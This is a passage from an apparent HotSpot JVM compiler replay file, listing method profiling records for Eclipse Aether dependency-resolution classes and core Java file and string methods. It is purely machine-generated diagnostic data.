(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/io/File;Ljava/util/Map;)V 937 1 3239 0 0\nciMethod org/eclipse/aether/artifact/DefaultArtifact emptify (Ljava/lang/String;)Ljava/lang/String; 2201 1 52060 0 64\nciMethod org/eclipse/aether/artifact/DefaultArtifact getGroupId ()Ljava/lang/String; 1033 1 129 0 0\nciMethod org/eclipse/aether/artifact/DefaultArtifact getArtifactId ()Ljava/lang/String; 1041 1 130 0 0\nciMethod org/eclipse/aether/artifact/DefaultArtifact getVersion ()Ljava/lang/String; 1025 1 128 0 0\nciMethod org/eclipse/aether/artifact/DefaultArtifact getClassifier ()Ljava/lang/String; 1049 1 131 0 0\nciMethod org/eclipse/aether/artifact/DefaultArtifact getExtension ()Ljava/lang/String; 1057 1 132 0 0\nciMethod org/eclipse/aether/artifact/DefaultArtifact getFile ()Ljava/io/File; 1041 1 130 0 0\nciMethod org/eclipse/aether/artifact/DefaultArtifact getProperties ()Ljava/util/Map; 1025 1 128 0 0\nciMethod org/eclipse/aether/artifact/AbstractArtifact <init> ()V 2289 1 10685 0 32\nciMethod org/eclipse/aether/artifact/AbstractArtifact newInstance (Ljava/lang/String;Ljava/util/Map;Ljava/io/File;)Lorg/eclipse/aether/artifact/Artifact; 937 1 3239 0 0\nciMethod org/eclipse/aether/artifact/AbstractArtifact setVersion (Ljava/lang/String;)Lorg/eclipse/aether/artifact/Artifact; 4025 1 5527 0 0\nciMethod org/eclipse/aether/artifact/AbstractArtifact getProperty (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; 2049 1 18525 0 0\nciMethod org/eclipse/aether/artifact/AbstractArtifact equals (Ljava/lang/Object;)Z 2057 1 5882 0 0\nciMethod org/eclipse/aether/artifact/AbstractArtifact hashCode ()I 7297 1 6215 0 0\nciMethod org/eclipse/aether/artifact/AbstractArtifact hash (Ljava/lang/Object;)I 2065 1 5561 0 0\nciMethod org/eclipse/aether/util/version/GenericVersionScheme <init> ()V 2049 1 1747 0 0\nciMethod org/eclipse/aether/util/version/GenericVersionScheme parseVersion (Ljava/lang/String;)Lorg/eclipse/aether/util/version/GenericVersion; 2049 1 1897 0 0\nciMethod org/eclipse/aether/util/version/GenericVersionScheme parseVersionRange (Ljava/lang/String;)Lorg/eclipse/aether/util/version/GenericVersionRange; 0 0 1 0 -1\nciMethod org/eclipse/aether/util/version/GenericVersionScheme parseVersionConstraint (Ljava/lang/String;)Lorg/eclipse/aether/util/version/GenericVersionConstraint; 2049 1 1747 0 0\nciMethod org/eclipse/aether/util/version/GenericVersionScheme parseVersionConstraint (Ljava/lang/String;)Lorg/eclipse/aether/version/VersionConstraint; 2049 1 1747 0 0\nciMethod org/eclipse/aether/version/VersionConstraint getRange ()Lorg/eclipse/aether/version/VersionRange; 0 0 1 0 -1\nciMethod org/eclipse/aether/version/VersionConstraint getVersion ()Lorg/eclipse/aether/version/Version; 0 0 1 0 -1\nciMethod org/eclipse/aether/version/VersionRange getLowerBound ()Lorg/eclipse/aether/version/VersionRange$Bound; 0 0 1 0 -1\nciMethod org/eclipse/aether/version/VersionRange getUpperBound ()Lorg/eclipse/aether/version/VersionRange$Bound; 0 0 1 0 -1\nciMethod org/eclipse/aether/util/version/GenericVersionConstraint <init> (Lorg/eclipse/aether/version/Version;)V 2049 1 1747 0 0\nciMethod org/eclipse/aether/util/version/GenericVersionConstraint getRange ()Lorg/eclipse/aether/version/VersionRange; 1033 1 129 0 0\nciMethod org/eclipse/aether/util/version/GenericVersionConstraint getVersion ()Lorg/eclipse/aether/version/Version; 1025 1 128 0 0\nciMethod org/eclipse/aether/util/version/GenericVersion <init> (Ljava/lang/String;)V 2049 1 1897 0 0\nciMethod org/eclipse/aether/util/version/GenericVersion parse (Ljava/lang/String;)Ljava/util/List; 2049 5169 1897 0 0\nciMethod org/eclipse/aether/util/version/GenericVersion trimPadding (Ljava/util/List;)V 2049 3121 1897 0 0\nciMethod org/eclipse/aether/util/version/GenericVersion toString ()Ljava/lang/String; 1025 1 128 0 0\nciMethod org/eclipse/aether/util/version/GenericVersion$Tokenizer <init> (Ljava/lang/String;)V 2049 1 1897 0 0\nciMethod org/eclipse/aether/util/version/GenericVersion$Tokenizer next ()Z 2049 1977 5391 0 2496\nciMethod org/eclipse/aether/util/version/GenericVersion$Tokenizer toItem ()Lorg/eclipse/aether/util/version/GenericVersion$Item; 2049 1 5226 0 0\nciMethod org/eclipse/aether/util/version/GenericVersion$Item <init> (ILjava/lang/Object;)V 2065 1 5228 0 0\nciMethod org/eclipse/aether/util/version/GenericVersion$Item isNumber ()Z 2065 1 6376 0 -1\nciMethod org/eclipse/aether/util/version/GenericVersion$Item compareTo (Lorg/eclipse/aether/util/version/GenericVersion$Item;)I 1865 1 2311 0 -1\nciMethodData org/eclipse/aether/artifact/DefaultArtifact emptify (Ljava/lang/String;)Ljava/lang/String; 2 52060 orig 320 144 166 201 142 252 127 0 0 192 183 140 20 182 1 0 0 184 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 19 1 0 0 73 82 6 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 16 0x10007 0xca49 0x38 0x0 0x60003 0x0 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethod org/eclipse/aether/internal/impl/collect/DataPool$InternPool intern (Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; 0 0 1 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/df/NodeStack top ()Lorg/eclipse/aether/graph/DependencyNode; 665 1 2945 0 0\nciMethod org/eclipse/aether/internal/impl/collect/df/NodeStack push (Lorg/eclipse/aether/graph/DependencyNode;)V 1281 1 1672 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/df/NodeStack pop ()V 1209 1 1626 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/df/NodeStack get (I)Lorg/eclipse/aether/graph/DependencyNode; 0 0 1 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/CollectStepDataImpl <init> (Ljava/lang/String;Ljava/util/List;Lorg/eclipse/aether/graph/Dependency;)V 665 1 2053 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey <init> (Lorg/eclipse/aether/resolution/VersionRangeRequest;)V 1697 1 2177 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey equals (Ljava/lang/Object;)Z 2057 1 1185 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey equals (Ljava/util/List;Ljava/util/List;)Z 2057 2721 1727 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey hashCode ()I 1033 1 129 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DataPool$Constraint <init> (Lorg/eclipse/aether/resolution/VersionRangeResult;)V 1201 1201 1586 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/DataPool$Constraint toResult (Lorg/eclipse/aether/resolution/VersionRangeRequest;)Lorg/eclipse/aether/resolution/VersionRangeResult; 5873 5873 992 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DefaultDependencyCycle find (Ljava/util/List;Lorg/eclipse/aether/artifact/Artifact;)I 665 1945 2948 0 0\nciMethod org/eclipse/aether/collection/DependencyManagement <init> ()V 737 1 553 0 -1\nciMethod org/eclipse/aether/collection/DependencyManagement getVersion ()Ljava/lang/String; 1121 1 140 0 0\nciMethod org/eclipse/aether/collection/DependencyManagement setVersion (Ljava/lang/String;)Lorg/eclipse/aether/collection/DependencyManagement; 721 1 550 0 -1\nciMethod org/eclipse/aether/collection/DependencyManagement getScope ()Ljava/lang/String; 1033 1 120 0 0\nciMethod org/eclipse/aether/collection/DependencyManagement setScope (Ljava/lang/String;)Lorg/eclipse/aether/collection/DependencyManagement; 49 1 12 0 -1\nciMethod org/eclipse/aether/collection/DependencyManagement getOptional ()Ljava/lang/Boolean; 1033 1 120 0 0\nciMethod org/eclipse/aether/collection/DependencyManagement setOptional (Ljava/lang/Boolean;)Lorg/eclipse/aether/collection/DependencyManagement; 0 0 1 0 -1\nciMethod org/eclipse/aether/collection/DependencyManagement getExclusions ()Ljava/util/Collection; 1041 1 130 0 0\nciMethod org/eclipse/aether/collection/DependencyManagement setExclusions (Ljava/util/Collection;)Lorg/eclipse/aether/collection/DependencyManagement; 105 1 20 0 -1\nciMethod org/eclipse/aether/collection/DependencyManagement getProperties ()Ljava/util/Map; 1025 1 120 0 0\nciMethod org/eclipse/aether/collection/DependencyManagement setProperties (Ljava/util/Map;)Lorg/eclipse/aether/collection/DependencyManagement; 0 0 1 0 -1\nciMethodData org/eclipse/aether/RequestTrace <init> (Lorg/eclipse/aether/RequestTrace;Ljava/lang/Object;)V 2 10307 orig 320 144 166 201 142 252 127 0 0 72 226 75 20 182 1 0 0 144 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 25 58 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 11 0x10002 0x2743 0x0 0x0 0x0 0x0 0x9 0x3 0x6 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/artifact/AbstractArtifact <init> ()V 2 10685 orig 320 144 166 201 142 252 127 0 0 176 198 140 20 182 1 0 0 112 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 29 1 0 0 249 68 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 7 0x10002 0x289f 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/graph/Dependency <init> (Lorg/eclipse/aether/artifact/Artifact;Ljava/lang/String;Ljava/util/Set;Ljava/lang/Boolean;)V 2 5459 orig 320 144 166 201 142 252 127 0 0 48 236 98 20 182 1 0 0 48 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 62 1 0 0 169 160 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 9 0 2 0 0 0 0 0 0 0 144 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 31 0x10002 0x1415 0x80002 0x1415 0xb0004 0x0 0x0 0x1b61780ece0 0x1415 0x0 0x0 0x130007 0xb6d 0x38 0x8a8 0x170003 0x8a8 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x5 0xe 0x0 0x0 0x0 0x0 oops 1 7 org/eclipse/aether/artifact/DefaultArtifact methods 0\nciMethodData java/util/Collections$UnmodifiableList hashCode ()I 2 5388 orig 320 144 166 201 142 252 127 0 0 248 144 226 8 182 1 0 0 184 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 97 160 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 5 0 4 0 0 0 0 0 data 16 0x40005 0x0 0x0 0x1b614285240 0xee9 0x1b61780ead0 0x523 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 2 3 java/util/Arrays$ArrayList 5 java/util/ArrayList methods 0\nciMethodData java/io/File equals (Ljava/lang/Object;)Z 2 2443 orig 320 144 166 201 142 252 127 0 0 48 103 158 8 182 1 0 0 168 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 155 0 0 0 129 71 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 11 0 2 0 0 0 0 0 0 0 32 1 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 46 0x10007 0x0 0x120 0x8f0 0x50004 0x0 0x0 0x1b6096fe420 0x8f0 0x0 0x0 0x80007 0x0 0xc8 0x8f0 0xd0004 0x0 0x0 0x1b6096fe420 0x392 0x0 0x0 0x100005 0x0 0x0 0x1b6096fe420 0x8f0 0x0 0x0 0x130007 0x365 0x38 0x58b 0x170003 0x58b 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 3 7 java/io/File 18 java/io/File 25 java/io/File methods 0\nciMethodData java/io/File compareTo (Ljava/io/File;)I 2 4651 orig 320 144 166 201 142 252 127 0 0 96 102 158 8 182 1 0 0 192 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 155 0 0 0 129 140 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 5 0 5 0 0 0 0 0 data 17 0x50005 0x0 0x0 0x1b6164b2dc0 0x1190 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 1 3 java/io/WinNTFileSystem methods 0\nciMethodData java/io/WinNTFileSystem compare (Ljava/io/File;Ljava/io/File;)I 2 4651 orig 320 144 166 201 142 252 127 0 0 0 194 158 8 182 1 0 0 56 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 155 0 0 0 129 140 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 168 0 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 32 0x10005 0x0 0x0 0x1b6096fe420 0x1190 0x0 0x0 0x50005 0x0 0x0 0x1b6096fe420 0x1190 0x0 0x0 0x80005 0x1190 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x3 0x0 0x0 0x0 oops 2 3 java/io/File 10 java/io/File methods 0\nciMethodData java/lang/String compareToIgnoreCase (Ljava/lang/String;)I 2 4651 orig 320 144 166 201 142 252 127 0 0 96 100 123 8 182 1 0 0 192 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 155 0 0 0 129 140 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 5 0 5 0 0 0 0 0 data 17 0x50005 0x0 0x0 0x1b6164b5830 0x1190 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 1 3 java/lang/String$CaseInsensitiveComparator methods 0\nciMethodData java/lang/String$CaseInsensitiveComparator compare (Ljava/lang/Object;Ljava/lang/Object;)I 2 5260 orig 320 144 166 201 142 252 127 0 0 56 201 139 8 182 1 0 0 56 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 202 0 0 0 17 158 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 168 0 0 0 254 255 255 255 4 0 2 0 0 0 0 0 data 32 0x20004 0x0 0x0 0x1b609184e10 0x30c 0x0 0x0 0x60004 0x0 0x0 0x1b609184e10 0x30c 0x0 0x0 0x90005 0x0 0x0 0x1b6164b5830 0x13c2 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x3 0x0 0x0 0x0 oops 3 3 java/lang/String 10 java/lang/String 17 java/lang/String$CaseInsensitiveComparator methods 0\nciMethodData java/lang/String$CaseInsensitiveComparator compare (Ljava/lang/String;Ljava/lang/String;)I 2 5260 orig 320 144 166 201 142 252 127 0 0 224 199 139 8 182 1 0 0 64 3 0 0 136 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 202 0 0 0 17 158 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 27 0 2 0 0 0 0 0 0 0 176 1 0 0 254 255 255 255 5 0 12 0 0 0 0 0 data 65 0xc0005 0x13c2 0x0 0x0 0x0 0x0 0x0 0x100005 0x13c2 0x0 0x0 0x0 0x0 0x0 0x130007 0xf 0xb0 0x13b3 0x170005 0x13b3 0x0 0x0 0x0 0x0 0x0 0x1a0007 0x1 0x48 0x13b2 0x200002 0x13b2 0x230003 0x13b2 0x28 0x290002 0x1 0x2e0005 0xf 0x0 0x0 0x0 0x0 0x0 0x310007 0x4 0x48 0xb 0x370002 0xb 0x3a0003 0xb 0x28 0x400002 0x4 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x3 0x0 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/RequestTrace newChild (Ljava/lang/Object;)Lorg/eclipse/aether/RequestTrace; 2 10137 orig 320 144 166 201 142 252 127 0 0 88 228 75 20 182 1 0 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 193 52 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 6 0 0 0 0 0 data 9 0x60002 0x2698 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/RequestTrace newChild (Lorg/eclipse/aether/RequestTrace;Ljava/lang/Object;)Lorg/eclipse/aether/RequestTrace; 2 9445 orig 320 144 166 201 142 252 127 0 0 168 224 75 20 182 1 0 0 240 1 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 33 31 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 5 0 2 0 0 0 0 0 0 0 104 0 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 23 0x10007 0x237b 0x30 0x69 0x90002 0x69 0xf0005 0x0 0x0 0x1b61780d020 0x237b 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 